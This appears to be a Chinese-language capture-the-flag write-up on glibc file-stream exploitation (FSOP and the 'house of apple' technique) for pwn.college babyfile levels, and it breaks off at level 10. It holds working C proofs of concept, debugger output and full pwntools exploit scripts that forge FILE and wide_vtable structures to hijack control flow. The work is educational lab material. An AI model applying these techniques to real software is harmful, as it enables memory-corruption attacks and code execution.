20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#define _NR_sysexit 0x3C
void win(){
printf("function win called\n" );
syscall(_NR_sysexit);
}

int main(){

FILE * fp;
size_t * libc_addr;
size_t * IO_list_all;
size_t * IO_wfile_jumps;
size_t * fake_wide_vtable;
size_t * fake_wide_data;
size_t * vtable_ptr;
size_t * wide_data_ptr;

char buffer[100];

//1.泄露libc基地址,泄露IO_wfile_jumps地址
printf("function printf addr = %p\n", printf);
libc_addr = (char*) printf - 0x54110;
IO_wfile_jumps = (char*) libc_addr + 0x1d5268;
printf("libc_addr = %p\n", libc_addr);
printf("IO_wfile_jumps = %p\n", IO_wfile_jumps);


//2.构造fake_wide_vtable
fake_wide_vtable = malloc(0x100);
for(int i=0;i<20;++i){
fake_wide_vtable[i] = win;
}


//3.构造fake_wide_data
fake_wide_data = malloc(0x100);
fake_wide_data[28] = fake_wide_vtable;


//4.fopen打开的FILE对象,会自动挂到IO_list_all上,省去了我们泄露IO_list_all并修改其值的步骤
fp = fopen("./flag", "w");
fp->_flags |= ~(0x800 | 0x8 |0x2);
fp->_mode = 0;
fp->_IO_write_ptr = 1;
fp->_IO_write_base = 0;
//修改vtable和wide_data.wide_vtable
vtable_ptr = (char*)fp + 0xd8;
*vtable_ptr = IO_wfile_jumps;
wide_data_ptr = (char*)fp + 0xa0;
*wide_data_ptr = fake_wide_data;


//fclose(fp); 如果fclose执行则fp会从IO_list_all中删除,因此不能执行

//5.return and trigger win

return 0;
}
1
2
3
4
5
6
7
8
9
┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# gcc fsop.c -o fsop -w

┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# ./fsop
function printf addr = 0x7f218fb94110
libc_addr = 0x7f218fb40000
IO_wfile_jumps = 0x7f218fd15268
function win called

也可以通过修改stdout->_chain指向假FILE实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#define _NR_sysexit 0x3C
void win(){
puts("function win called");
// printf("function win called\n" );
syscall(_NR_sysexit);
}

int main(){
size_t* libc_base_addr;
size_t* _IO_wfile_jumps;
size_t* fake_wide_vtable;
size_t* fake_wide_data;

FILE * fp;
size_t* vtable_ptr;
size_t* vtable_addr;
size_t* wide_data_ptr;
size_t* wide_data_addr;
size_t* wide_vtable_ptr;
size_t* wide_vtable_addr;

char buffer[100];

//0.泄露libc基地址,计算得到_IO_wfile_jumps表的地址
printf("function printf @ %p\n", printf);
libc_base_addr = (char*) printf - 0x54110; // printf offset @ glibc-2.38
_IO_wfile_jumps = (char*)libc_base_addr + 0x1d5268;
printf("_IO_wfile_jumps @ %p\n",_IO_wfile_jumps);


//1.构造fake_wide_vtable,使用win填充
fake_wide_vtable = malloc(0x100);
for(int i=0;i<20;++i){
fake_wide_vtable[i]=_IO_wfile_jumps[i];
}
fake_wide_vtable[13] = (size_t)win;
//2.构造fake_wide_data,使得其偏移0xe0处的_wide_vtable指针,指向1中构造的fake_wide_vtable
fake_wide_data = malloc(0x100);
fake_wide_data[28] = fake_wide_vtable;

//3.修改FILE.flag |= ~(_IO_CURRENTLY_PUTTING | _IO_NO_WRITES | _IO_UNBUFFERED)
fp = fopen("./flag","w");
fp->_flags |= ~(0x800 | 0x8 | 2);
// fp->_IO_read_ptr =0;
// fp->_IO_read_end =0;
fp->_IO_write_ptr =1;
fp->_IO_write_end =0;
fp->_mode=0;
// fp->_IO_buf_base =0;
// fp->_IO_buf_end =0;
// fp->_IO_save_base =0;
// fp->_IO_backup_base =0;
// fp->_IO_save_end =0;
//4.修改FILE.vtable指向3中泄露的_IO_wfile_jumps
vtable_ptr = (char*)fp + 0xd8;
*vtable_ptr = _IO_wfile_jumps;

//5.修改FILE._wide_data指向2中构造的fake_wide_data
wide_data_ptr = (char*)fp + 0xa0;
*wide_data_ptr = fake_wide_data;

//6.通过沾stdout亲带故上链
stdout->_chain = fp;

//6.trigger house of apple
return 0;
}

pwn.college

level1

篡改位于堆上的FILE结构,使其文件描述符fileno为1,也就是到标准输出

使其缓冲区位于泄露地址上

举一个例子

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <fcntl.h>
char flag[]="flag{secret}";
int main(){
printf("flag @ %p\n",flag); //泄露flag地址
char buffer[0x100];
FILE *fp = fopen("./flag", "w");
read(0,fp,480);
fwrite(buffer,1,0x100,fp);
return 0;
}

level7

level7题目中给的提示是这样的:

This can be done by creating a fake _wide_data struct which will not have a security check on the vtable.

意思是篡改_wide_data.vtable指针不会被检查

在一个FILE结构体中,理论上有两个vtable指针,一个_IO_FILE_plus + 0xd8处的vtable指针

1
2
3
4
5
6
7
pwndbg> ptype/xo struct _IO_FILE_plus
/* offset | size */ type = struct _IO_FILE_plus {
/* 0x0000 | 0x00d8 */ FILE file;
/* 0x00d8 | 0x0008 */ const struct _IO_jump_t *vtable;

/* total size (bytes): 224 */
}

还有一个在_IO_FILE._wide_data._wide_vtable

1
2
_IO_FILE + 0xa0    =>  _wide_data
_wide_data + 0xe0 => _wide_vtable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> ptype/xo struct _IO_wide_data
/* offset | size */ type = struct _IO_wide_data {
/* 0x0000 | 0x0008 */ wchar_t *_IO_read_ptr;
/* 0x0008 | 0x0008 */ wchar_t *_IO_read_end;
/* 0x0010 | 0x0008 */ wchar_t *_IO_read_base;
/* 0x0018 | 0x0008 */ wchar_t *_IO_write_base;
/* 0x0020 | 0x0008 */ wchar_t *_IO_write_ptr;
/* 0x0028 | 0x0008 */ wchar_t *_IO_write_end;
/* 0x0030 | 0x0008 */ wchar_t *_IO_buf_base;
/* 0x0038 | 0x0008 */ wchar_t *_IO_buf_end;
/* 0x0040 | 0x0008 */ wchar_t *_IO_save_base;
/* 0x0048 | 0x0008 */ wchar_t *_IO_backup_base;
/* 0x0050 | 0x0008 */ wchar_t *_IO_save_end;
/* 0x0058 | 0x0008 */ __mbstate_t _IO_state;
/* 0x0060 | 0x0008 */ __mbstate_t _IO_last_state;
/* 0x0068 | 0x0070 */ struct _IO_codecvt {
/* 0x0068 | 0x0038 */ _IO_iconv_t __cd_in;
/* 0x00a0 | 0x0038 */ _IO_iconv_t __cd_out;

/* total size (bytes): 112 */
} _codecvt;
/* 0x00d8 | 0x0004 */ wchar_t _shortbuf[1];
/* XXX 4-byte hole */
/* 0x00e0 | 0x0008 */ const struct _IO_jump_t *_wide_vtable;

/* total size (bytes): 232 */
}

既然_IO_FILE本身就自带一个vtable,那么level7为何还要多此一举去改_IO_FILE._wide_data._wide_vtable?

因为pwncollege提供的靶场环境中使用的libc版本是Ubuntu GLIBC 2.31-0ubuntu9.16

Glibc 2.23之前是可以直接修改_IO_FILE.vtable指针的, 相关攻击方式被称为house of orange,

此攻击可以在how2heap靶场学习,ubuntu16.04Glibc2.23环境

Glibc 2.24之后就加入了对_IO_FILE.vtable指针的范围检查,只能在glibc内存区中的某个特定位置,不允许指向堆区或者栈区

但是_IO_FILE._wide_data._wide_vtable还是没有检查的,相关攻击方式被称为house of apple

吃完apple回来,可以做level7题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *
context.arch = "amd64"
p = process("./babyfile_level7")
# p=process("/challenge/babyfile_level7")


#0
#获取win函数地址,泄露puts地址,泄露libc基地址,泄露_IO_wfile_jumps地址
win_addr = 0x4012E6
p.recvuntil(b'[LEAK] The address of puts() within libc is: ')
puts_addr = p.recvuntil(b'\n', drop=True)
puts_addr = int(puts_addr,16)
p.recvuntil(b'[LEAK] The name buffer is located at: ')
name_addr = p.recvuntil(b'\n', drop=True)
name_addr = int(name_addr,16)

print("puts_addr = ",hex(puts_addr))
print("name_addr = ",hex(name_addr))

libc = LibcSearcher("puts", puts_addr)
libc_addr = puts_addr - libc.dump("puts")
vtable_addr = libc_addr + libc.dump("_IO_file_jumps")
wide_vtable_addr =libc_addr + libc.dump("_IO_wfile_jumps")

print("libc @ %p",hex(libc_addr))
print("vtable = ",hex(vtable_addr))
print("wide_vtable = ",hex(wide_vtable_addr))


#1&2
#构造fake_wide_data和fake_wide_vtable,
#由于只有一个可用堆块,哥俩得穿一条裤子
fake_wide_data_addr = name_addr
fake_wide_vtable_addr = name_addr + 0x80
fake_wide_data =p64(0) * 28
fake_wide_data += p64(fake_wide_vtable_addr)# const struct _IO_jump_t *_wide_vtable;
fake_wide_data += p64(win_addr)
p.send(fake_wide_data)


#3
#设置FILE.flag
fp = FileStructure()
fp.flags = ~(0x800 | 0x8 | 2)
#不能有_IO_CURRENTLY_PUTTING
#可写,不能有_IO_NO_WRITES
#不能有_IO_UNBUFFERED


#4&5
#修改FILE.vtable指向_IO_wfile_jumps,
#修改FILE._wide_data指向fake_wide_data
#这里设置的flags是保证能进入某些分支
fp.vtable = wide_vtable_addr
fp._wide_data = name_addr
payload = bytes(fp)
print(fp)
p.send(payload)

p.interactive()

level9

level9中有一个函数authenticated可以ret2text

level9首先泄露的puts的地址

level9给的利用点就是可以往_IO_2_1_stdout_结构体写入最多0x1e0个字节

1
read(0,stdout,0x1e0)

最初的想法是直接修改

1
2
stdout -> vtable = _IO_wfile_jumps
stdout -> _wide_data -> _wide_vtable -> _IO_wfile_doallocate = authenticated

这样在下次puts或者printf时就可以触发authenticated函数

然而很不幸

authenticated中在使用write(1,flag_buffer,flag_length)打印flag之前,还有一个puts("You win! Here is your flag:");这会导致什么呢?

puts调用authenticated

authenticated调用puts

puts调用authenticated

authenticated调用puts

发生了递归调用的悲剧, 最终程序会因为爆栈内存导致段错误

原因是puts默认使用的就是stdout,而我们改的也正是stdout

可以通过这个poc调试观察这个悲剧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#define _NR_sysexit 0x3C
void win(){
puts("function win called");
// printf("function win called\n" );
syscall(_NR_sysexit);
}

int main(){
size_t* libc_base_addr;
size_t* _IO_wfile_jumps;
size_t* fake_wide_vtable;
size_t* fake_wide_data;

FILE * fp;
size_t* vtable_ptr;
size_t* vtable_addr;
size_t* wide_data_ptr;
size_t* wide_data_addr;
size_t* wide_vtable_ptr;
size_t* wide_vtable_addr;

char buffer[100];


//0.泄露libc基地址,计算得到_IO_wfile_jumps表的地址
printf("function printf @ %p\n", printf);
libc_base_addr = (char*) printf - 0x54110; // printf offset @ glibc-2.38
_IO_wfile_jumps = (char*)libc_base_addr + 0x1d5268;
printf("_IO_wfile_jumps @ %p\n",_IO_wfile_jumps);


//1.构造fake_wide_vtable,使用win填充
fake_wide_vtable = malloc(0x100);
for(int i=0;i<20;++i){
fake_wide_vtable[i]=_IO_wfile_jumps[i];
}
fake_wide_vtable[13] = (size_t)win;


//2.构造fake_wide_data,使得其偏移0xe0处的_wide_vtable指针,指向1中构造的fake_wide_vtable
fake_wide_data = malloc(0x100);
fake_wide_data[28] = fake_wide_vtable;


//3.修改FILE.flag |= ~(_IO_CURRENTLY_PUTTING | _IO_NO_WRITES | _IO_UNBUFFERED)
fp = fopen("./flag","w");
fp->_flags |= ~(0x800 | 0x8 | 2);
// fp->_IO_read_ptr =0;
// fp->_IO_read_end =0;
fp->_IO_write_ptr =1;
fp->_IO_write_end =0;
fp->_mode=0;
// fp->_IO_buf_base =0;
// fp->_IO_buf_end =0;
// fp->_IO_save_base =0;
// fp->_IO_backup_base =0;
// fp->_IO_save_end =0;


//4.修改FILE.vtable指向3中泄露的_IO_wfile_jumps
vtable_ptr = (char*)fp + 0xd8;
*vtable_ptr = _IO_wfile_jumps;


//5.修改FILE._wide_data指向2中构造的fake_wide_data
wide_data_ptr = (char*)fp + 0xa0;
*wide_data_ptr = fake_wide_data;


//6.stdout指向fp
stdout = fp;

//7.trigger
puts("hello");
return 0;
}

在win上下断点发现win确实可以调用,但是win中的puts会递归调用到win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> bt
#0 win () at stdout.c:4
#1 0x00007ffff7e4a5a6 in __GI__IO_wdoallocbuf (fp=fp@entry=0x4058d0) at ./libio/wgenops.c:369
#2 0x00007ffff7e4c2ad in __GI__IO_wfile_overflow (f=0x4058d0, wch=1668183398) at ./libio/wfileops.c:421
#3 0x00007ffff7e4a472 in __GI___woverflow (wch=1668183398, f=0x4058d0) at ./libio/libioP.h:1030
#4 __GI__IO_wdefault_xsputn (n=<optimized out>, data=<optimized out>, f=<optimized out>) at ./libio/wgenops.c:315
#5 __GI__IO_wdefault_xsputn (f=f@entry=0x4058d0, data=<optimized out>, n=n@entry=19) at ./libio/wgenops.c:282
#6 0x00007ffff7e4cecb in __GI__IO_wfile_xsputn (n=19, data=<optimized out>, f=0x4058d0) at ./libio/wfileops.c:1010
#7 __GI__IO_wfile_xsputn (f=0x4058d0, data=<optimized out>, n=19) at ./libio/wfileops.c:956
#8 0x00007ffff7e476b5 in __GI__IO_puts (str=0x402004 "function win called") at ./libio/libioP.h:1030
#9 0x0000000000401179 in win () at stdout.c:4
#10 0x00007ffff7e4a5a6 in __GI__IO_wdoallocbuf (fp=fp@entry=0x4058d0) at ./libio/wgenops.c:369
#11 0x00007ffff7e4c2ad in __GI__IO_wfile_overflow (f=0x4058d0, wch=1668183398) at ./libio/wfileops.c:421
#12 0x00007ffff7e4a472 in __GI___woverflow (wch=1668183398, f=0x4058d0) at ./libio/libioP.h:1030
#13 __GI__IO_wdefault_xsputn (n=<optimized out>, data=<optimized out>, f=<optimized out>) at ./libio/wgenops.c:315
#14 __GI__IO_wdefault_xsputn (f=f@entry=0x4058d0, data=<optimized out>, n=n@entry=19) at ./libio/wgenops.c:282
#15 0x00007ffff7e4cecb in __GI__IO_wfile_xsputn (n=19, data=<optimized out>, f=0x4058d0) at ./libio/wfileops.c:1010
#16 __GI__IO_wfile_xsputn (f=0x4058d0, data=<optimized out>, n=19) at ./libio/wfileops.c:956
#17 0x00007ffff7e476b5 in __GI__IO_puts (str=0x402004 "function win called") at ./libio/libioP.h:1030
#18 0x0000000000401179 in win () at stdout.c:4
#19 0x00007ffff7e4a5a6 in __GI__IO_wdoallocbuf (fp=fp@entry=0x4058d0) at ./libio/wgenops.c:369
#20 0x00007ffff7e4c2ad in __GI__IO_wfile_overflow (f=0x4058d0, wch=1668183398) at ./libio/wfileops.c:421
#21 0x00007ffff7e4a472 in __GI___woverflow (wch=1668183398, f=0x4058d0) at ./libio/libioP.h:1030
#22 __GI__IO_wdefault_xsputn (n=<optimized out>, data=<optimized out>, f=<optimized out>) at ./libio/wgenops.c:315
#23 __GI__IO_wdefault_xsputn (f=f@entry=0x4058d0, data=<optimized out>, n=n@entry=19) at ./libio/wgenops.c:282
...

虽然上述poc验证了这个悲剧

但是这个poc也给我另一个想法

1
2
//6.stdout指向fp
stdout = fp;

如果在这里我们保持stdout的完整性,只是改变其后继指针_chain

1
2
//6.fp借助stdout上链
stdout -> _chain = fp;

然后在程序退出时利用FSOP的机制, win就会被调用, 实验证明确实如此

1
2
3
4
5
6
┌──(root㉿Destroyer)-[/mnt/c/Users/xidian/Desktop/pwncollege/file/test]
└─# ./stdout
function printf @ 0x7f220bf40110
_IO_wfile_jumps @ 0x7f220c0c1268
hello
function win called

一个struct _IO_FILE_plus大小是0xe0 B,两个就是0x1c0 B

level9允许我们写入0x1e0 B,能放开两个struct _IO_FILE_plus还能剩下0x20 B空间用于布置wide_datawide_vtable

溢出时stdout首当其冲, 我们需要保持其flag, vtable不变 , 并且给其lock找一个合适的地方(一个可写且值为0的地方)

接下来的溢出会毁坏libc中的一些数据, 但是不会影响到控制流, 狠狠搞坏它

画在图上意思意思

stdout->_chain = fake_fp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
p = process("./babyfile_level9")

authenticated_addr = 0x401866

#1.泄露libc基地址
p.recvuntil('[LEAK] The address of puts() within libc is: ')
puts_addr = p.recvuntil('\n',drop = True)
puts_addr = int(puts_addr,16)
libc = LibcSearcher('puts' , puts_addr)
libc_base = puts_addr - libc.dump('puts')
stdout_addr = libc_base + libc.dump('_IO_2_1_stdout_')
_IO_file_jumps_addr = libc_base + libc.dump('_IO_file_jumps')
_IO_wfile_jumps_addr = libc_base + libc.dump('_IO_wfile_jumps')


#2.fake_fp应该跟在stdout之后
fake_fp_addr = stdout_addr + 0xe0
print("stdout @ ",hex(stdout_addr))
print("fake_fp @ ",hex(fake_fp_addr))
print("fake_fp_addr - stdout_addr = ",hex(fake_fp_addr - stdout_addr))

fake_wide_data_addr = fake_fp_addr + 0xe0 - 0xe0
fake_IO_wdoallocbuf_addr = fake_fp_addr + 0xe0 + 8
print("fake_IO_wdoallocbuf_addr @ ",hex(fake_IO_wdoallocbuf_addr))

#3.构造stdout_fp,保证其flags,fileno不变
#lock指向一个可写值为0的地方,比如fake_fp_addr->read_buf_ptr
#chain指向紧跟在后边的fake_fp
#vtable保持使用默认的_IO_file_jumps_addr
fake_stdout_fp = FileStructure()
fake_stdout_fp.flags = 0xfbad2887
fake_stdout_fp.fileno = 1
fake_stdout_fp.chain = fake_fp_addr
fake_stdout_fp._lock = fake_fp_addr + 0x8
fake_stdout_fp.vtable = _IO_file_jumps_addr

#4.构造fake_fp,
#根据FSOP的条件构造其成员
fake_fp = FileStructure()
fake_fp.flags = ~(0x800 | 0x8 | 0x2)
fake_fp._IO_write_ptr = 1
fake_fp._IO_write_end =0
fake_fp._lock = fake_fp_addr + 0x10
fake_fp.vtable = _IO_wfile_jumps_addr
fake_fp._wide_data = fake_wide_data_addr


print(fake_stdout_fp)
print(fake_fp)

payload =bytes(fake_stdout_fp) + bytes(fake_fp) + p64(fake_IO_wdoallocbuf_addr - 0x68) + p64(authenticated_addr) +p64(0) + p64(0)
print(payload)
print(hex(len(payload)))

print(proc.pidof(p)[0])
p.send(payload)
p.interactive()

level10

相比于level8,多了一步

在调用wide_vtable函数时需要传递字符串参数